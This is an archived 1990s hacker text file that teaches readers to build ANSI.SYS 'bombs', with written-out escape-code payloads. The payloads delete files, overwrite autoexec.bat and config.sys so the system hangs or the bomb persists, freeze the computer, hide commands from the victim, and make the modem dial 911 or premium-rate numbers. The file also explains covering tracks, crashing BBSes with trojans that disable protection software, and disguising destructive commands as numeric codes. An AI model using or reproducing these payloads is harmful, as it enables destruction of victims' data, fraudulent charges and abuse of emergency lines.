home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / ansibom2.doc < prev    next >
Encoding:
Text File  |  2003-06-11  |  14.2 KB  |  314 lines

  1.                   ANSI Bombs II: Tips and Techniques
  2.  
  3.                                   By
  4.  
  5.                            The Raging Golem
  6.  
  7.  
  8.     I. Introduction
  9.  
  10.     After writing the last file, a lot of people let me know about the
  11. mistakes I had made.  I guess this file is to clear up those miscon
  12. ceptions and to let people know about some of the little tricks behind
  13. ANSI bombing.  Of course, ANSI bombing isn't as dangerous as a lot of
  14. people make it out to be, but bombs are still fun to make and with a
  15. little planning deliver some degree of success.  ANSI bombing can
  16. be dangerous, so I am tired of hearing people say that an ANSI bomb is
  17. harmless, another misconception I hope to clear up.  Now, most people
  18. that have spent time experimenting with ANSI bombs probably know most
  19. of the material in this file, but it might be fun just to read anyway.
  20.  
  21.     2. Misconceptions
  22.  
  23.     In my last file, I made three major blunders, or what I would con
  24. sider to be major blunders.  First, I said that ANSI bombs could be
  25. used on BBSs to screw people over, but I guess I was wrong.  It was
  26. pure speculation on what other people had said that made me say that.
  27. ANSI codes, including those that redefine keys, are sent over the
  28. lines, but most comm programs don't use ANSI.SYS; they use their own
  29. version of ANSI, which doesn't support key redefinition.  Some people
  30. might have a program that supports it, but I haven't seen it yet.  I
  31. have tested bombs on systems on my own and proved to myself that they
  32. don't work.  I have also seen people fuck up bombs that would have
  33. worked by uploading them in a message.  The second misconception is
  34. that ANSI bombs are dangerous when put into zips.  I haven't really
  35. tested this out much, but from what I hear with the newer versions of
  36. PKZIP, you have to specify that you want to see ANSI comments when
  37. unzipping.  It is unlikely that you would waste your time unzipping
  38. something again after seeing "Format C:" in the middle of an escape
  39. code.  I could be mistaken, but I'm pretty sure that I'm right. Third,
  40. the last thing that was a misconception is that VANSI.SYS will protect
  41. your system from key redefinition.  Maybe the newer versions don't
  42. support key redefinition, but mine sure as hell does.  There are pro
  43. grams out there that don't support it, but I don't know any of the
  44. names.  Of course, if I were you, I would be wary about using some
  45. thing other then ANSI.  I have a few friends that are working on "A
  46. Better ANSI" for PDers, which, instead of being better, really screws
  47. them over.
  48.  
  49.     3. An Overview
  50.  
  51.     Now, in case you haven't read my other file (it's called ANSI.DOC,
  52. kind of lame but fairly informative), I'll briefly go over the struc
  53. ture of an ANSI bomb.  Skip this part if you know what an ANSI bomb is
  54. and how to make one.
  55.     In ANSI everything is done with a system of escape codes.  Key
  56. redefinition is one of those codes.  (From now, whenever I say ESC, I
  57. really mean the arrow, ).  Here is a basic command:
  58.                           ESC [13;27p
  59.     This would make the <Enter> key (13 is the code for enter) turn
  60. into the <Escape> key (27 is the code for escape).  The  always has to
  61. be there, as do the bracket and the "p", but what is between the
  62. bracket and the "p" is up to you.  The first number is always the key
  63. that you want to be redefined.  If there is a zero for the first num
  64. ber, that means the key is in the extended set, and therefore, the
  65. first two numbers are the code.  The bracket signifies the beginning
  66. of the definition, and the "p" signifies the end.  Whenever you want a
  67. key pressed, you have to use it's numerical code (i.e. 13 is the code
  68. for <Enter>).  You can't redefine strings, but you can redefine a key
  69. to become a string (i.e. ESC [13;"Blah"p would make <Enter> say
  70. "Blah").  Strings must be inside of quotes, which includes commands
  71. that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p
  72. would delete everything in the directory, note that 13 stands for
  73. Enter in this case, not the redefinition).  An escape code can have
  74. as many commands as you want in it, but each one has to be separated
  75. by a semi-colon.  You can only redefine one key in each escape code,
  76. so if you want to redefine another key, you have to start another
  77. escape code.  That's about it when it comes to bombs, now that you
  78. have the basics, all you really need is a little imagination.
  79.  
  80.     4. Tips and Tricks
  81.  
  82.     A. The Y/N Redefinition
  83.  
  84.     Now, here's a simple but fun little ANSI bomb:
  85.  
  86.                    ESC [78;89;13p ESC [110;121;13p
  87.  
  88.     Basically, all this does is turn a capital "N" into "Y" and a
  89. lower-case "n" into "y".  Alone this doesn't do too much, except for
  90. screw around with what they are typing.  On the other hand, try adding
  91. this line of code to the ANSI bomb:
  92.  
  93.                    ESC [13;27;13;"del *.*";13p
  94.  
  95.     Most people would automatically press "N" when they see "Del *.*",
  96. but when they do, they will be screwed over.  This portion of a bomb
  97. is very useful when it comes to making good bombs.
  98.  
  99.     B. Screwing with the Autoexec.bat
  100.  
  101.     Here is another line of code that you may find useful in future
  102. bombing projects:
  103.  
  104.                    ESC [13;27;13;"copy bomb.ans c:\";13;"copy con
  105.                      c:\autoexec.bat";13;"type bomb.ans";13;0;109;
  106.                      13;"cls";13p
  107.  
  108.     This line of code makes the bomb a little more permanent and a
  109. little more dangerous.  It copies the bomb into the root directory,
  110. then it change/creates the autoexec.bat, so the bomb is typed after
  111. every boot-up.  Of course, the person could just boot off a disk, but
  112. I'm sure this would get them a few time.  It could also probably
  113. appear as though it were a virus, scaring the shit out of the owner of
  114. the computer.
  115.  
  116.     C. Turning Commands into Other Commands
  117.  
  118.     One of the best pranks to do to someone using an ANSI bomb is to
  119. redefine commands.  That way if they type in "copy", it will turn into
  120. "Del *.*".  Since you can't actually change the whole string, you have
  121. to take a different approach.  You have to change a few of the keys,
  122. so when typed, they type and execute the desired command.  I guess it
  123. would be coolest to have to command exactly the same length; that way
  124. you could redefine one key at a time to obtain the desired effect.
  125. It doesn't really matter how you do it, just as long as it works.  You
  126. might make an ANSI that says "Wow, check out what this bomb did to
  127. your directory", and then have it redefine the keys, so when they type
  128. in "dir", it turns into "del".  I think you get the idea.
  129.  
  130.     D. Covering Your Tracks
  131.  
  132.     This can be kind of useful, if you don't want the bomb to remain,
  133. once it has been set off.  Here's the command you can stick in your
  134. bomb, so that it will delete itself.  This is also useful if you want
  135. a person to think they've been hit by a virus.
  136.  
  137.     ESC[13;"delete bomb.ans";13p
  138.  
  139.     Or to make it look like a virus:
  140.  
  141.     ESC[13;"echo You've been hit by the Big B Virus";13;"delete bomb.ans
  142.     ";13p
  143.  
  144.     The second one is a little more fun, but they both get the point
  145. across.
  146.  
  147.     E. Screwing with the CONFIG.SYS
  148.  
  149.     Put in a line like this:
  150.  
  151.     ESC[13;"^C";13;"copy con c:\config.sys";13;"device=config.sys";13;
  152.     0;64;13p
  153.  
  154.     This will change the config.sys, so when they reboot or you force
  155. them to, the computer will just freeze, and they won't know what hap
  156. pened.  The CONFIG.SYS will be caught in a loop, and the only way to
  157. fix it is by booting off a floppy.  Alone it works well, but it's
  158. better if you also freeze there computer, so they are forced to
  159. reboot.
  160.  
  161.     F. Freezing the Computer
  162.  
  163.     When you create a program with only · and ⌠ (ALT-250 and ALT-244
  164. on the numeric keypad), then the computer will freeze and lock up.  So
  165. here's a line you can incorporate:
  166.  
  167.     ESC[13;"^C";13;"copy con blah.com";13;"·⌠";13;0;64;13;"blah";13p
  168.  
  169.     This will create the necessary program and then run it, freezing
  170. the computer and forcing a reboot.
  171.  
  172.     G. Hide Commands
  173.  
  174.     Hiding commands can serve two purposes.  First, they can freak a
  175. person out, making them think they're computer has frozen (not too
  176. useful).  Second, they can hide the commands of the ANSI bomb, which
  177. can be very useful with longer ANSI bombs.
  178.     Here is an example of the first:
  179.  
  180.     ESC[13;"^C";13;"command >nul";13p
  181.  
  182.     This will make it so all of the commands are invisible, but it
  183. will relay the error messages (This doesn't work too well with other
  184. ANSI commands, so just use it alone as a single ANSI bomb).
  185.     Here is an example of the second:
  186.  
  187.     ESC[13;"^C";13;"prompt $e[0;30m";13;"cls";13p
  188.  
  189.     This command will change the color of the text, so it is the same
  190. as the back ground.  Therefore, all other commands in the ANSI bomb
  191. will be hidden, and the harm will be done before the victim knows what
  192. is happening.  This is very helpful and highly recommended to be used
  193. in all of your ANSI bombs.
  194.  
  195.     H. Modem Fun
  196.  
  197.     One of the more interesting things you can do with an ANSI bomb is
  198. issue commands directly to the modem from the DOS command line.  You
  199. sort of have to guess on which port their modem is (most likely it is
  200. either COM1 or COM2, but to be safe you can do them both).  Here's the
  201. line for the command, then we will talk about some of the fun you can
  202. have:
  203.  
  204.     ESC[13;"^C";13;"ECHO ATDT911>COM1";13p
  205.  
  206.     This command would call 911 through the COM1, but COM1 can be
  207. replaced by any other com port, 911 can be replaced with any other
  208. phone number, and ATDT can be replaced with any other modem command.
  209. The most fun comes in when you play around with the number to dial.
  210. Instead of 911, which is fairly nasty in its own right, you could put
  211. a LD number or a 1-900 (especially those that charge a flat rate of
  212. $25 or so, like the gambler's hotline type thing).  Not only can you
  213. make the person feel like a fool, but you could also make them a tad
  214. bit poorer.  When used in conjunction with the freeze command, the
  215. person probably won't have enough time to turn off the computer before
  216. they are charged.
  217.  
  218.     I. Trojans
  219.  
  220.     By now, everybody knows what a Trojan is.  You probably wouldn't
  221. think so, but ANSI bombs can be used as Trojans and in Trojans. First,
  222. if you are planning on crashing a board, but you're not very good at
  223. programming, then make yourself an ANSI bomb.  Try to find out in
  224. which directory the main files for running the BBS are stored. They
  225. are usually under the name BBS or the name of the software, like WWIV
  226. or Telegard.  Then, make a bomb that either just deletes all the files
  227. in that directory, or if you want the board to be down a longer time,
  228. then make one that formats the Hard Drive.  In this form ANSI bombs,
  229. if they are well planned out, can be easy to make Trojans. Second,
  230. ANSI bombs can used in Trojans.  This is probably stretching it a
  231. little, but say you wanted to write a Trojan that would delete a
  232. directory, every time you typed a certain key, then you could use an
  233. ANSI bomb.  First make some batch and com/exe files that would search
  234. for protecting programs like Norton and turn them off.  Then you could
  235. copy the file into the root directory, along with your versions of
  236. autoexec.bat, config.sys, ANSI.sys, and whatever else.  (To make it
  237. look more realistic make the files Resource.00x to trick the user,
  238. then when copying, use the real name).  Then somehow lock the computer
  239. up or do a warm boot through some pd program, which is easily attain
  240. able.  When the computer loads back up, you can screw that shit out of
  241. them with your ANSI bomb.
  242.  
  243.     J. The Average Joe
  244.  
  245.     Ok, now the average Joe is not going to know what the hell is going
  246. on when he sees all of the escape commands, if he looks at it in something
  247. that doesn't support ANSI.  He will however be supicious if he sees "format
  248. C:".  There is is a way to get rid of this.  Instead of redefining the
  249. key to be a text statement, redefine it as a bunch of keys that do the same
  250. job.  For example:
  251.  
  252.       "DELETE" = 100;101;108;101;116;101
  253.                   D   E   L   E   T   E
  254.  
  255.       "FORMAT" = 102;111;114;109;97;116
  256.                   F   O   R   M  A   T
  257.  
  258.     In this way, you can make destructive commands look like just a bunch
  259. of numbers.  Very few people will scrutinize an ANSI enough before viewing
  260. it to see the redefinition command.  This is very helpful and it is another
  261. trick I recommend you always try to use.
  262.  
  263.     5. Conclusion
  264.     It would seem to some people that ANSI bombs are very dangerous,
  265. and to others that they are stupid or lame.  Personally, I think that
  266. ANSI bombs are just plain old fun.  They're not too hard to make, but
  267. there is a lot that you can do with them.  They are nowhere near as
  268. malicious as virii, so if you're looking for unstoppable destruction,
  269. look elsewhere, but they do serve their purpose.  I know that there
  270. are programs out there that help you program ANSI bombs, but I think
  271. that they kind of take the fun out of them.  Probably, some day soon,
  272. I'll quit making ANSI bombs and start looking more into virii and pure
  273. Trojans.  But for now, ANSI bombs suit my purpose.
  274.  
  275.                                -TRG
  276.  
  277.     Appendix A: Key Code Program
  278.  
  279.     Here is a small program, which I find very helpful.  After loading
  280. it up, it tells you the numeric code for every key you type in.  Spe
  281. cial means that it is in the extended set and therefore uses zero, and
  282. "q" ends the program.  Unfortunately,  I can't take any credit for
  283. this program.  I got it over the phone from Heavymetl, and it was made
  284. by his brother.  So many thanks go out to Heavymetl and his brother,
  285. even though they'll probably be a little pissed at me for including
  286. this in my file.  It is in Pascal and can be compiled in most Turbo
  287. Pascal compilers.
  288.  
  289.     Use CRT;
  290.     Var
  291.       CH : CHAR;
  292.     Begin
  293.       Repeat
  294.         CH := ReadKey;
  295.         If CH = #0 then
  296.           Begin
  297.             CH := ReadKey;
  298.             WriteLn(CH,'(Special) - ',ORD(CH));
  299.           End
  300.         Else
  301.           WriteLn(CH,' - ',ORD(CH));
  302.       Until
  303.         CH = 'q';
  304.     End.
  305.  
  306.  
  307.     Thanks go out to:
  308.  
  309.     Heavymetl for giving me ideas.  Weapons Master for helping me out
  310. and giving me input.  And everyone who has helped me along the way.
  311.  
  312.     If you want to reach me for some reason, just keep your eyes open
  313. for me on some of the nets.  I'm not too hard to find.
  314.